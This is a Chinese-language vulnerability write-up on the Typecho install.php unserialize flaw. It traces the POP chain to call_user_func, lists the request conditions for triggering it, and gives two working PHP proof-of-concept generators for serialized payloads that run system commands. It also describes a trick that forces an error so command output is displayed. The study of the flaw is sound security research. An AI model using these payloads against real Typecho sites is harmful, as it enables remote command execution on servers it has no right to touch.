前言
最近想琢磨下PHP反序列化及POP链的构造,这个漏洞之前就听说了,而且影响挺大的,所以分析一波,学习下思路,利用思路还是挺巧妙的。
漏洞分析
漏洞点在根目录下的install.php
文件中,搜索unserialize
可以定位到
未经过任何过滤直接反序列化操作,假如此处的__typecho_config
变量可控,说明存在反序列漏洞,于是跟进Typecho_Cookie::get()方法
先判断是否存在$_COOKIE['__typecho_config']
,假如不存在就从POST中取得,然后返回,很明显传入反序列化的变量是可控的。这里Payload既可以通过POST直接提交,又可以通过Cookie注入,需要构造POP链。继续回到漏洞处,往下走是Typecho_Cookie::delete()方法,跟进
只是一个删除Cookie的操作,没有利用地步,继续往下走,关键来了。
1
| $db = new Typecho_Db($config['adapter'], $config['prefix']);
|
实例化了一个Typecho_Db类,跟进构造方法
这里进行字符串拼接的时候,强行进行数据转换,就会调用__toString()
作为跳板,于是全局搜索
这里找到var/Typecho/Feed.php
中Typecho_Feed类定义的__toString()方法,关键位置
这里拼接的时候调用了$item['author']
的screenName
属性,假如这个属性是不可访问的或者不存在的话,就会调用魔术方法__get()
,所以继续全局寻找可利用的__get()方法
找到var/Typecho/Request.php
中Typecho_Request类定义的__get()方法
调用$this->get(),继续跟进
这里的value是可以通过_params[$key]
赋值的,而key就是传入的screenName,可控点。继续跟进_applyFilter()
当$value不是数组的时候就会调用call_user_func(),而此处$this->_filter[]是可控的,$value的值是_params[‘screenName’],也是可控的,能够成功RCE,至此POP链构造完成
利用链
1 2 3 4 5
| install.php -> Typecho_Db::construct(){'Typecho_Db_Adapter_' . $adapterName}
-> var/Typecho/Feed.php:Typecho_Feed::__toString($adapterName){$item['author']->screenName}
-> var/Typecho/Request.php:Typecho_Request::__get('screenName') -> Typecho_Request::get('screenName') -> Typecho_Request::_applyFilter($_params['screenName']) {call_user_func($this->_filter[],$_params['screenName'])}
|
漏洞利用
回到漏洞点,要想传入此处,得满足if()语句,存在$_GET['finish']
以及HTTP_REFERER
头部
1 2 3 4 5 6 7 8 9
| if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }
if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
|
所以利用条件也就明了:
- $_GET[‘finish’]存在且不为空
- Referer头部存在且为本站
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class Typecho_Request {
private $_params = array(); private $_filter = array(); function __construct(){ $this->_params['screenName'] = 'whoami'; $this->_filter['0'] = 'system'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'link' => 'link', 'title' => 'title', 'date' => 1559745146, 'author' => new Typecho_Request(), ); } } $arr = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo $exp = base64_encode(serialize($arr));
|
然后得到exp,访问,回显数据库服务错误
只能Debug一波,可以发现的是,命令是可以成功执行的
但是后面就跳转到一个ob_end_clean()
方法中,然后就触发异常,进行异常输出了。
回过头来看ob_end_clean(),程序在install.php开头就设置了ob_start()。查询文档
ob_start()函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
ob_end_clean()丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。
参考LoRexxar
师傅的文章,需要强制退出,使其不会执行到exception。方法有两个
- 因为
call_user_func
函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来
- 在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
这里选择的是后者,$item['category']
赋值对象,让其用数组的形式,当foreach遍历对象时触发错误,退出程序
POC2.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class Typecho_Request {
private $_params = array(); private $_filter = array(); function __construct(){
$this->_params['screenName'] = 'whoami'; $this->_filter['0'] = 'system'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'link' => 'link', 'title' => 'title', 'date' => 1559745146, 'author' => new Typecho_Request(), 'category' => array(new Typecho_Request()) ); } } $arr = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo $exp = base64_encode(serialize($arr));
|
然后拿到EXP,执行,成功运行!!!
漏洞补丁
传送门
官方补丁将反序列操作直接删除了
Reference
https://paper.seebug.org/424/
https://www.freebuf.com/vuls/155753.html